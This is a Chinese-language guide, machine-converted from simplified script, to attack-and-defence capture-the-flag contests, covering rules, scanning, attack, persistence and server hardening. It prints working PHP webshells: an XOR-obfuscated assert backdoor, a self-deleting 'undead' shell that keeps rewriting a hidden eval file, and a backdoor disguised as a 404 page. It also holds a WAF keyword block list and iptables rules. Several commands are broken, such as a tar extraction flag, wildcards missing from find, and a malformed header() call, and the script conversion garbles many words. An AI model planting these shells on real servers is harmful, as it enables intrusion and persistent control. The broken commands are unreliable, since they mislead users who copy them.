Attack With Defence
攻防兼備--賽制
比賽中每個隊伍維護多台伺服器,伺服器中存在多個漏洞,利用漏洞攻擊其他隊伍進行得分,修複本伺服器漏洞可以避免被其他隊伍攻擊導緻失分。
1.一般配置設定Web伺服器,伺服器(多數為Linux)某處存在flag(一般在根目錄下)
2.可能會提供一台流量分析虛拟機,可以下載下傳流量檔案進行資料分析(視比賽情況而定)
3.flag在主辦方的設定下每隔一定時間重新整理一輪
4.各隊一般都有自己的初始分數
5.flag一旦被其他隊伍拿走,該隊扣除一定分數
6.扣除的分數由擷取flag的隊伍均分
7.主辦方會對每個隊伍的服務進行check(檢查服務是否正常),服務當機扣除本輪flag分數,扣除的分值由服務check正常的隊伍均分
8.一般每個隊伍會給一個低權限使用者,非root權限
(具體規則以具體比賽規則為準)
先理清網絡拓撲關系,節點與各鍊路間的關聯。
比賽分工
線下賽一般3個人左右,2人攻擊,1人防禦,發現的漏洞可以攻擊其他隊伍,也要修複,攻防相輔相成,以攻為守。
競賽題型
主要題型為Web和Pwn,涉及語言多數為PHP,還有少量java、python。
Web主要是一些CMS和架構安全漏洞,如注入、上傳、反序列化等,依賴已知漏洞。
競賽流程
一般比賽會将加強環節和攻擊環節分開,先統一加強後再進行攻擊。
賽前資訊确認
1.比賽名稱
2.IP白名單:白名單一般用于防止外部惡意攻擊,如果賽方發現名單以外IP可能會進行封禁處理。
3.使用者登入伺服器,如:賬号test01密碼test01@123,端口3322,linux系統,登陸工具xshell、finalshell等。
4.token認證:token主要用于腳本身份憑證,用于自動化送出鑒别,虛拟IP為靶機通路網址。
5.伺服器端口:主要用于掃描其他選手靶機用來攻擊擷取到根目錄flag并送出得分。
6.flag送出處
7.接口:api:https://xxxx.com/submit/?token=[token]&flag=[flag{123456}](根據實際規則去更改)
AWD賽事
- 伺服器登入:通過ssh連接配接伺服器,拿到網絡拓撲,與隊友分工,檢查有無弱密碼,有的話對密碼進行修改(越複雜越好)。web服務背景登入也有可能存在弱密碼,一般admin:admin、admin:123456,需要立即修改,以免被getshell。
- 比賽開始前要第一時間備份伺服器中web目錄下的檔案(/var/www/html),如果伺服器在比賽中出現異常的情況,可以立即恢複到初始狀态。一般比賽可以提供3次左右的恢複設定的機會(可能會扣分),比賽時同時要備份資料檔案。
- 檔案監控、端口掃描等……
Attack
- 資訊收集
主機探測一般用
nmap、httpscan
檢視主機ip
ipconfig windows
ifconfig linux
掃描C段存活主機
nmap -sn 192.168.0.0/24 掃描C段主機
httpscan.py 192.168.0.0/24 -t 30 掃描C段主機+線程
端口探測
一般先收集自己的主機端口資訊,挂背景全端口掃描防止端口遺漏
nmap -sV 192.168.0.1 掃描主機系統版本
nmap -sS 192.168.0.1 掃描主機常用端口
nmap -sS -p 80,445,3306,8080,8888 192.168.0.1 掃描主機部分端口
nmap -sS -p- 192.168.0.1 掃描主機全部端口
nmap官方文檔:https://nmap.org/man/zh/man-host-discovery.html
httpscan主機探測
應用發現
元件發現
find / -name "nginx.conf" 定位nginx目錄
find / -path "nginx" -name nginxconf 定位nginx配置目錄
find / -name "httpd.conf" 定位apache目錄
find / -path "apache" -name apacheconf 定位apache配置目錄
網站發現
find / -name "index.php" 定位網站目錄
日志發現
/var/log/nginx/ 預設nginx日志目錄
/var/log/apache/ 預設apache日志目錄
/var/log/apache2/ 預設apache日志目錄
/usr/local/tomcat/logs tomcat日志目錄
tail -f xxxx.log 實時重新整理滾動日志檔案
備份掃描
掃描工具BakFileScan、dirsearch
查找預留後門
有的比賽為了照顧其他選手,賽事方會預留一句話後門,可利用漏洞攻擊,可利用這個漏洞維持權限,達到每輪得分。将整個web目錄下載下傳到本地,使用hm.exe、D盾或者其他掃描工具得出
提前準備腳本
代碼審計
用于發現漏洞,進行漏洞修複
一句話木馬
<?php
$a = chr(96^5);
$b = chr(57^79);
$c = chr(15^110);
$d = chr(58^86);
$e = '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置為?b=))99)rhC(tseuqeR+lave
不死馬
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FIlE__);
$file = '1.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);}?>';
while(1){
file_put_contents($file,$code);
system('touch -m -d "2022-5-26 10:20:00" .1.php');
usleep(5000);
}
?>
殺掉不死馬
上傳上面的不死馬并通路,就會一直生成.1.php的一句話木馬(檔案名前加一個點,能更好地隐藏檔案)想要結束這個程序,先檢視程序,檢視對應的pid,再執行。
<?php
while(1){
$pid = 1234;
@unlink('.1.php');
exec('kill -9 $pid');
}
?>
建立一個和不死馬一樣名字的檔案夾,這樣不死馬就寫不進去
rm -rf .1.php | mkdir .1.php
執行system('kill -9 -1')
shell.php?shell=system('kill -9 -1');
重新開機服務
apache、web
但要求有一定的權限root
- 攻擊利用
攻擊主機端口
利用未授權通路漏洞和弱密碼漏洞
工具:hydra(九頭蛇)、弱密碼暴力破解工具等
攻擊Web服務
Web背景弱密碼
漏洞資料庫
已知漏洞檢測工具
權限提升
一般提權 https://cloud.tencent.com/developer/article/1942516
提權腳本 https://github.com/SecWiki/linux-kernel-exploits
權限維持
拿到webshell後,需要進行維持權限,簡單的webshell會被一眼識破,在AWD中使用不死馬、反彈shell等留後門方式維持權限。
隐藏的檔案讀取
header(php'flag:',file_get_contents('/tmp/flag'));
可以的話,将flag資訊直接讀取并傳回到header頭中
快速得分
編寫python腳本或利用curl工具進行批量擷取flag
腳本or架構
Defence
網站備份
目的是防止修改源碼出錯,或者被對手惡意删除源碼,或者快速恢複網站防止被裁判組check探測服務存活失敗而丢分。
壓縮檔案
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
解壓檔案
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
備份到伺服器
mv web.tar /tmp
mv web.zip /home/test
上傳下載下傳檔案
scp username@servername:/path/filename /tmp/local_destination 從伺服器下載下傳單個檔案到本地
scp /path/local_filename username@servername:/path 從本地上傳單個檔案到伺服器
scp -r username@servername:remote_dir/ /tmp/local_dir 從伺服器下載下傳整個目錄到本地scp -r /tmp/local_dir username@servername:remote_dir 從本地上傳整個目錄到伺服器
SSH相關工具
xshell
secureCRT
finalshell
FTP相關工具
FileZilla
WinSCP
SmartFTP
資料備份
資料庫配置資訊一般可以通過如config.php/web.conf等檔案擷取。
備份指定資料庫mysqldump -u username -p passwd databasename > bak.sql
備份所有資料庫mysqldump -all -databases > bak.sql
導入資料庫mysql -u username -p passwd database < bak.sql
資訊搜集
netstat -ano/-a 檢視端口情況
uname -a 系統資訊
ps -aux ps -ef 程序資訊
cat /etc/passwd 使用者情況
ls /home 使用者情況
id 用于顯示使用者id及所屬群組id
find / -type d -perm -002 可寫目錄檢查
grep -r "flag" /var/www/html 查找預設flag
密碼更改
資訊收集後,将未授權和弱密碼問題及時修複,伺服器ssh密碼、資料庫密碼和web服務密碼
passwd username ssh密碼修改
set password for mycms@localhost = password('123'); MySQL密碼修改
find /var/www/html -path 'config' 查找配置檔案中的密碼憑證
備份檢查
find /var/www/html -name ".tar"
find /var/www/html -name ".zip"
後門清除
通過指令檢視可疑檔案
find /var/www/html -name .php -mmin -20 檢視最近20分鐘修改檔案
find ./ -name '.php' | xargs wc -l | sort -u 尋找行數最短檔案
grep -r --include=.php 'a-zeval($_POST' /var/www/html 檢視包含關鍵字的php檔案
find /var/www/html -type f -name ".php" | xargs grep "eval(" |more
清除:河馬webshell和D盾清除
<?php@eval($_GET['cmd']);?>
<?php@eval($_POST['cmd']);?>
<?php@eval($_REQUESTS['cmd']);?><%Runtime.getRuntime().exec(request.getParameter('cmd'));%>
<%eval request("cmd")%>
<%execute(request("cmd"))%>
寫木馬殺死不死馬程序
<?php system("kill -9 pid;rm -rf .shell.php");?>
後門使用者清除:UID大于500的都是非系統賬号,500以下的都為系統保留的賬号使用userdel -r username 删除賬戶
部分後門過于隐蔽,可使用ls -al檢視所有檔案及檔案修改時間和内容進行綜合判斷,進而删除
僞裝後門
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 NOT FOUND</title>
</head><body>
<h1>NOT FOUND</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 NOT FOUND');?>
關閉程序
ps -aux
kill -9 pid
關閉端口
netstat -anp
firewall-cmd --zone=public --remove-port=80/tcp -permanent 關閉端口
firewall-cmd -reload 重載防火牆
漏洞修複
漏洞修複遵循保證服務不長時間當機的情況下進行修複,多使用安全過濾函數,能修複盡量修複,不能修複先注釋或删除相關代碼,但需保證頁面顯示正常。
可以下載下傳檔案到本地進行修改後上傳到伺服器進行覆寫操作,也可通過vim編輯器進行代碼修複
操作參考:https://www.cnblogs.com/iAmSoScArEd/p/10651947.html
檔案監控
檔案監控可及時發現木馬檔案生成,及時删除防止丢分
https://github.com/TheKingOfDuck/FileMonitor
使用系統chattr +i指令linux下的檔案有隐藏屬性,可用lsattr指令檢視。其中有一個i屬性,表示不得更改任意檔案或目錄,若已經有root或者sudo權限,即可使用chattr +i修改檔案隐藏屬性,這樣所有使用者都不能對該檔案或目錄進行修改删除等操作,若想進行修改,必使用chattr -i取消隐藏屬性。
防止系統中某個關鍵檔案被修改
chattr +i /etc/profile
将/var/www/html目錄下的檔案設定為不允許任何人修改
chattr -R +i /var/www/html
使用python的第三方庫pyinotify
python setup.py install
python -m pyinotify monitoring_path
部署WAF
waf.php
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正時間為中國準确時間
$time=date("Y-m-d H:i:s");//将時間指派給變量$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
取決于比賽規則
常見PHP網站系統WAF添加路徑
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDEcms \data\common.inc.php
常用指令
ssh <-p port> username@ip
scp filepath username@ip:存放路徑
cat /root/.bash_historylast -n 5|awk '{print $!}' 顯示最近登入的5個賬号
cat /etc/passwd|awk -F ':' '{print $1}' 顯示/etc/passwd的賬戶
awk -F: '{if($3==0)print $1}' /etc/passwd 檢視UID為0的賬号
find . -name ".php" -perm 4777 查找權限777的檔案
find ./ -mtime 0 -name ".php" 查找24小時内被修改的PHP檔案
netstat -antulp | grep EST 檢視已建立的網絡連接配接及程序
lsof -i:port
netstat -tunlp|grep port 檢視指定端口被哪個程序占用
iptables -I INPUT -s source_ip[/mask] -j DROP 封殺某個IP或IP段
iptables -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP 禁止從某個主機ssh遠端通路登陸到本機
crontab [-u user] file_name crontab [-u user] [-e |-l| -r] 定時任務,在固定的時間間隔執行指定的系統指令或shell script
netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn 檢測所有的tcp連接配接數量及狀态
cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k -r|head - 檢視頁面通路排名前十的IP
cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k -r|head -檢視頁面通路排名前十的URL
網絡控制
隻開放一些比賽用的必要端口,防止後門連接配接
開放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
打開80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
開啟多端口簡單用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080 -j ACCEPT
限制IP連接配接數和連接配接速率
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT 單個IP的最大連接配接數為30
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -t filter -A FORWARD -s 1.1.1.1 -d 1.1.1.2 禁止從客戶機1.1.1.1通路1.1.1.2上的任何服務
iptables -I INPUT -s 1.1.1.1 -j DROP 封殺1.1.1.1這個IP
過濾異常封包
iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN 表示SYN FIN ACK RST的辨別都檢查,但隻比對SYN辨別
iptables -A INPUT -p tcp --syn 比對SYN辨別位iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP 檢查所有的辨別位,比對到FIN URG PSH的丢棄
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP 丢棄沒辨別位的包
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP 比對到SYN RST的丢棄
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT 防DDOS
流量分析
在比賽機器上使用指令進行流量抓取
tcpdump -s 0 -w flow_log.pcap port 9999
日志分析
analys_log.php
防守架構
PS:作為一名AWD比賽選手,我們也要做好寫批量擷取及送出腳本的準備奧